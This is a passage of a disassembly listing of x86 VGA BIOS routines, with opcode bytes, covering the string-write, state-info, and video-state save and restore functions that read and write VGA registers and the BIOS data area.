biosfn_load_gfx_8_14_chars_: ; 0xc2698 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_load_gfx_8_8_dd_chars_: ; 0xc269d LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_load_gfx_8_16_chars_: ; 0xc26a2 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_alternate_prtsc_: ; 0xc26a7 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_switch_video_interface_: ; 0xc26ac LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_enable_video_refresh_control_: ; 0xc26b1 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_write_string_: ; 0xc26b6 LB 0x9c push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-00ah], al ; 88 46 f6 mov byte [bp-008h], dl ; 88 56 f8 mov byte [bp-006h], bl ; 88 5e fa mov si, cx ; 89 ce mov di, word [bp+00ah] ; 8b 7e 0a movzx ax, dl ; 0f b6 c2 lea bx, [bp-00eh] ; 8d 5e f2 lea dx, [bp-00ch] ; 8d 56 f4 call 00a88h ; e8 b0 e3 cmp byte [bp+004h], 0ffh ; 80 7e 04 ff jne short 026efh ; 75 11 mov al, byte [bp-00eh] ; 8a 46 f2 mov byte [bp+006h], al ; 88 46 06 mov ax, word [bp-00eh] ; 8b 46 f2 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp+004h], al ; 88 46 04 movzx dx, byte [bp+004h] ; 0f b6 56 04 sal dx, 008h ; c1 e2 08 movzx ax, byte [bp+006h] ; 0f b6 46 06 add dx, ax ; 01 c2 movzx ax, byte [bp-008h] ; 0f b6 46 f8 call 00e5eh ; e8 5b e7 dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je short 02739h ; 74 30 mov dx, di ; 89 fa inc di ; 47 mov ax, word [bp+008h] ; 8b 46 08 call 02f3eh ; e8 2c 08 mov cl, al ; 88 c1 test byte [bp-00ah], 002h ; f6 46 f6 02 je short 02726h ; 74 0c mov dx, di ; 89 fa inc di ; 47 mov ax, word [bp+008h] ; 8b 46 08 call 02f3eh ; e8 1b 08 mov byte [bp-006h], al ; 88 46 fa movzx bx, byte [bp-006h] ; 0f b6 5e fa movzx dx, byte [bp-008h] ; 0f b6 56 f8 movzx ax, cl ; 0f b6 c1 mov cx, strict word 00003h ; b9 03 00 call 02153h ; e8 1c fa jmp short 02703h ; eb ca test byte [bp-00ah], 001h ; f6 46 f6 01 jne short 02749h ; 75 0a mov dx, word [bp-00eh] ; 8b 56 f2 movzx ax, byte [bp-008h] ; 0f b6 46 f8 call 00e5eh ; e8 15 e7 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00008h ; c2 08 00 biosfn_read_state_info_: ; 0xc2752 LB 0x101 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 push dx ; 52 push bx ; 53 mov cx, ds ; 8c d9 mov bx, 05382h ; bb 82 53 mov dx, word [bp-00ah] ; 8b 56 f6 mov ax, word [bp-008h] ; 8b 46 f8 call 02f88h ; e8 20 08 mov di, word [bp-00ah] ; 8b 7e f6 add di, strict byte 00004h ; 83 c7 04 mov cx, strict word 0001eh ; b9 1e 00 mov si, strict word 00049h ; be 49 00 mov dx, strict word 00040h ; ba 40 00 mov es, [bp-008h] ; 8e 46 f8 cld ; fc jcxz 02783h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f mov di, word [bp-00ah] ; 8b 7e f6 add di, strict byte 00022h ; 83 c7 22 mov cx, strict word 00003h ; b9 03 00 mov si, 00084h ; be 84 00 mov dx, strict word 00040h ; ba 40 00 mov es, [bp-008h] ; 8e 46 f8 cld ; fc jcxz 0279eh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f mov dx, 0008ah ; ba 8a 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 97 07 movzx bx, al ; 0f b6 d8 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00025h ; 83 c2 25 mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 96 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00026h ; 83 c2 26 xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 88 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00027h ; 83 c2 27 mov bx, strict word 00010h ; bb 10 00 mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 79 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00028h ; 83 c2 28 xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 6b 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00029h ; 83 c2 29 mov bx, strict word 00008h ; bb 08 00 mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 5c 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 0002ah ; 83 c2 2a mov bx, strict word 00002h ; bb 02 00 mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 4d 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 0002bh ; 83 c2 2b xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 3f 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 0002ch ; 83 c2 2c xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 31 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00031h ; 83 c2 31 mov bx, strict word 00003h ; bb 03 00 mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 22 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00032h ; 83 c2 32 xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 02f4ch ; e8 14 07 mov di, word [bp-00ah] ; 8b 7e f6 add di, strict byte 00033h ; 83 c7 33 mov cx, strict word 0000dh ; b9 0d 00 xor ax, ax ; 31 c0 mov es, [bp-008h] ; 8e 46 f8 cld ; fc jcxz 0284bh ; e3 02 rep stosb ; f3 aa lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 biosfn_read_video_state_size2_: ; 0xc2853 LB 0x23 push dx ; 52 push bp ; 55 mov bp, sp ; 89 e5 mov dx, ax ; 89 c2 xor ax, ax ; 31 c0 test dl, 001h ; f6 c2 01 je short 02863h ; 74 03 mov ax, strict word 00046h ; b8 46 00 test dl, 002h ; f6 c2 02 je short 0286bh ; 74 03 add ax, strict word 0002ah ; 05 2a 00 test dl, 004h ; f6 c2 04 je short 02873h ; 74 03 add ax, 00304h ; 05 04 03 pop bp ; 5d pop dx ; 5a retn ; c3 vga_get_video_state_size_: ; 0xc2876 LB 0x12 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 mov bx, dx ; 89 d3 call 02853h ; e8 d4 ff mov word [ss:bx], ax ; 36 89 07 lea sp, [bp-002h] ; 8d 66 fe pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_save_video_state_: ; 0xc2888 LB 0x369 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 push ax ; 50 mov si, dx ; 89 d6 mov cx, bx ; 89 d9 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 bc 06 mov di, ax ; 89 c7 test byte [bp-00ch], 001h ; f6 46 f4 01 je near 02a0bh ; 0f 84 63 01 mov dx, 003c4h ; ba c4 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 94 06 inc cx ; 41 mov dx, di ; 89 fa in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 84 06 inc cx ; 41 mov dx, 003ceh ; ba ce 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 73 06 inc cx ; 41 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov dx, 003c0h ; ba c0 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-008h], ax ; 89 46 f8 movzx bx, byte [bp-008h] ; 0f b6 5e f8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 58 06 inc cx ; 41 mov dx, 003cah ; ba ca 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 47 06 mov ax, strict word 00001h ; b8 01 00 mov word [bp-00ah], ax ; 89 46 f6 add cx, ax ; 01 c1 jmp short 02915h ; eb 06 cmp word [bp-00ah], strict byte 00004h ; 83 7e f6 04 jnbe short 02932h ; 77 1d mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 20 06 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 0290fh ; eb dd xor al, al ; 30 c0 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 04 06 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 inc cx ; 41 jmp short 02956h ; eb 06 cmp word [bp-00ah], strict byte 00018h ; 83 7e f6 18 jnbe short 02972h ; 77 1c mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, di ; 89 fa out DX, AL ; ee lea dx, [di+001h] ; 8d 55 01 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 e0 05 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02950h ; eb de mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 0297fh ; eb 06 cmp word [bp-00ah], strict byte 00013h ; 83 7e f6 13 jnbe short 029a8h ; 77 29 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov ax, word [bp-008h] ; 8b 46 f8 and ax, strict word 00020h ; 25 20 00 or ax, word [bp-00ah] ; 0b 46 f6 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 aa 05 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02979h ; eb d1 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 029bbh ; eb 06 cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08 jnbe short 029d8h ; 77 1d mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee mov dx, 003cfh ; ba cf 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 7a 05 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 029b5h ; eb dd mov bx, di ; 89 fb mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 87 05 inc cx ; 41 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 60 05 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 56 05 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 4c 05 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 42 05 inc cx ; 41 test byte [bp-00ch], 002h ; f6 46 f4 02 je near 02b7ah ; 0f 84 67 01 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 22 05 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 26 05 inc cx ; 41 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 2a 05 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 2f 05 inc cx ; 41 inc cx ; 41 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 16 05 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 1b 05 inc cx ; 41 inc cx ; 41 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 02 05 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 07 05 inc cx ; 41 inc cx ; 41 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 d2 04 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 d6 04 inc cx ; 41 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 da 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 df 04 inc cx ; 41 inc cx ; 41 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 aa 04 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 ae 04 inc cx ; 41 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 96 04 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 9a 04 inc cx ; 41 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 82 04 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 86 04 inc cx ; 41 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 8a 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 8f 04 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 inc cx ; 41 inc cx ; 41 jmp short 02ae8h ; eb 06 cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08 jnc short 02b06h ; 73 1e mov dx, word [bp-00ah] ; 8b 56 f6 add dx, dx ; 01 d2 add dx, strict byte 00050h ; 83 c2 50 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 64 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 69 04 inc cx ; 41 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02ae2h ; eb dc mov dx, strict word 0004eh ; ba 4e 00 mov ax, strict word 00040h ; b8 40 00 call 02f5ah ; e8 4b 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 50 04 inc cx ; 41 inc cx ; 41 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 02f3eh ; e8 1b 04 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 1f 04 inc cx ; 41 mov dx, strict word 0007ch ; ba 7c 00 xor ax, ax ; 31 c0 call 02f5ah ; e8 24 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 29 04 inc cx ; 41 inc cx ; 41 mov dx, strict word 0007eh ; ba 7e 00 xor ax, ax ; 31 c0 call 02f5ah ; e8 11 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 16 04 inc cx ; 41 inc cx ; 41 mov dx, 0010ch ; ba 0c 01 xor ax, ax ; 31 c0 call 02f5ah ; e8 fe 03 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 03 04 inc cx ; 41 inc cx ; 41 mov dx, 0010eh ; ba 0e 01 xor ax, ax ; 31 c0 call 02f5ah ; e8 eb 03 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f68h ; e8 f0 03 inc cx ; 41 inc cx ; 41 test byte [bp-00ch], 004h ; f6 46 f4 04 je short 02be7h ; 74 67 mov dx, 003c7h ; ba c7 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 bc 03 inc cx ; 41 mov dx, 003c8h ; ba c8 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 ab 03 inc cx ; 41 mov dx, 003c6h ; ba c6 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 9a 03 inc cx ; 41 xor al, al ; 30 c0 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee xor ah, ah ; 30 e4 mov word [bp-00ah], ax ; 89 46 f6 jmp short 02bc7h ; eb 07 cmp word [bp-00ah], 00300h ; 81 7e f6 00 03 jnc short 02bddh ; 73 16 mov dx, 003c9h ; ba c9 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 movzx bx, al ; 0f b6 d8 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 75 03 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02bc0h ; eb e3 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f4ch ; e8 66 03 inc cx ; 41 mov ax, cx ; 89 c8 lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 biosfn_restore_video_state_: ; 0xc2bf1 LB 0x326 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 push ax ; 50 mov si, dx ; 89 d6 mov cx, bx ; 89 d9 test byte [bp-00eh], 001h ; f6 46 f2 01 je near 02d51h ; 0f 84 4a 01 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 lea dx, [bx+040h] ; 8d 57 40 mov ax, si ; 89 f0 call 02f5ah ; e8 45 03 mov di, ax ; 89 c7 mov word [bp-008h], strict word 00001h ; c7 46 f8 01 00 lea cx, [bx+005h] ; 8d 4f 05 jmp short 02c27h ; eb 06 cmp word [bp-008h], strict byte 00004h ; 83 7e f8 04 jnbe short 02c3fh ; 77 18 mov al, byte [bp-008h] ; 8a 46 f8 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 09 03 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee inc cx ; 41 inc word [bp-008h] ; ff 46 f8 jmp short 02c21h ; eb e2 xor al, al ; 30 c0 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 f2 02 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee inc cx ; 41 mov ax, strict word 00011h ; b8 11 00 mov dx, di ; 89 fa out DX, ax ; ef mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00 jmp short 02c64h ; eb 06 cmp word [bp-008h], strict byte 00018h ; 83 7e f8 18 jnbe short 02c81h ; 77 1d cmp word [bp-008h], strict byte 00011h ; 83 7e f8 11 je short 02c7bh ; 74 11 mov al, byte [bp-008h] ; 8a 46 f8 mov dx, di ; 89 fa out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 c7 02 lea dx, [di+001h] ; 8d 55 01 out DX, AL ; ee inc cx ; 41 inc word [bp-008h] ; ff 46 f8 jmp short 02c5eh ; eb dd mov dx, 003cch ; ba cc 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 and AL, strict byte 0feh ; 24 fe mov word [bp-00ah], ax ; 89 46 f6 cmp di, 003d4h ; 81 ff d4 03 jne short 02c96h ; 75 04 or byte [bp-00ah], 001h ; 80 4e f6 01 mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov AL, strict byte 011h ; b0 11 mov dx, di ; 89 fa out DX, AL ; ee mov dx, cx ; 89 ca add dx, strict byte 0fff9h ; 83 c2 f9 mov ax, si ; 89 f0 call 02f3eh ; e8 92 02 lea dx, [di+001h] ; 8d 55 01 out DX, AL ; ee lea dx, [bx+003h] ; 8d 57 03 mov ax, si ; 89 f0 call 02f3eh ; e8 86 02 xor ah, ah ; 30 e4 mov word [bp-00ch], ax ; 89 46 f4 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00 jmp short 02cd0h ; eb 06 cmp word [bp-008h], strict byte 00013h ; 83 7e f8 13 jnbe short 02ceeh ; 77 1e mov ax, word [bp-00ch] ; 8b 46 f4 and ax, strict word 00020h ; 25 20 00 or ax, word [bp-008h] ; 0b 46 f8 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 5a 02 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee inc cx ; 41 inc word [bp-008h] ; ff 46 f8 jmp short 02ccah ; eb dc mov al, byte [bp-00ch] ; 8a 46 f4 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00 jmp short 02d08h ; eb 06 cmp word [bp-008h], strict byte 00008h ; 83 7e f8 08 jnbe short 02d20h ; 77 18 mov al, byte [bp-008h] ; 8a 46 f8 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 28 02 mov dx, 003cfh ; ba cf 03 out DX, AL ; ee inc cx ; 41 inc word [bp-008h] ; ff 46 f8 jmp short 02d02h ; eb e2 add cx, strict byte 00006h ; 83 c1 06 mov dx, bx ; 89 da mov ax, si ; 89 f0 call 02f3eh ; e8 14 02 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee inc bx ; 43 mov dx, bx ; 89 da mov ax, si ; 89 f0 call 02f3eh ; e8 08 02 mov dx, di ; 89 fa out DX, AL ; ee inc bx ; 43 mov dx, bx ; 89 da mov ax, si ; 89 f0 call 02f3eh ; e8 fd 01 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee lea dx, [bx+002h] ; 8d 57 02 mov ax, si ; 89 f0 call 02f3eh ; e8 f1 01 lea dx, [di+006h] ; 8d 55 06 out DX, AL ; ee test byte [bp-00eh], 002h ; f6 46 f2 02 je near 02ec0h ; 0f 84 67 01 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 de 01 movzx bx, al ; 0f b6 d8 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 e0 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 e6 01 mov bx, ax ; 89 c3 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 e9 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 d2 01 mov bx, ax ; 89 c3 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 d5 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 be 01 mov bx, ax ; 89 c3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 c1 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 8e 01 movzx bx, al ; 0f b6 d8 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 90 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 96 01 mov bx, ax ; 89 c3 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 99 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 66 01 movzx bx, al ; 0f b6 d8 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 68 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 52 01 movzx bx, al ; 0f b6 d8 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 54 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 3e 01 movzx bx, al ; 0f b6 d8 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 40 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 46 01 mov bx, ax ; 89 c3 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 49 01 mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00 inc cx ; 41 inc cx ; 41 jmp short 02e2eh ; eb 06 cmp word [bp-008h], strict byte 00008h ; 83 7e f8 08 jnc short 02e4ch ; 73 1e mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 25 01 mov bx, ax ; 89 c3 mov dx, word [bp-008h] ; 8b 56 f8 add dx, dx ; 01 d2 add dx, strict byte 00050h ; 83 c2 50 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 23 01 inc cx ; 41 inc cx ; 41 inc word [bp-008h] ; ff 46 f8 jmp short 02e28h ; eb dc mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 07 01 mov bx, ax ; 89 c3 mov dx, strict word 0004eh ; ba 4e 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 0a 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f3eh ; e8 d7 00 movzx bx, al ; 0f b6 d8 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 d9 00 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 df 00 mov bx, ax ; 89 c3 mov dx, strict word 0007ch ; ba 7c 00 xor ax, ax ; 31 c0 call 02f68h ; e8 e3 00 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 cc 00 mov bx, ax ; 89 c3 mov dx, strict word 0007eh ; ba 7e 00 xor ax, ax ; 31 c0 call 02f68h ; e8 d0 00 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 02f5ah ; e8 b9 00 mov bx, ax ; 89 c3 mov dx, 0010ch ; ba 0c 01 xor ax, ax ; 31 c0 call 02f68h ; e8 bd 00 inc cx ; 41 inc cx ; 41 mov dx, 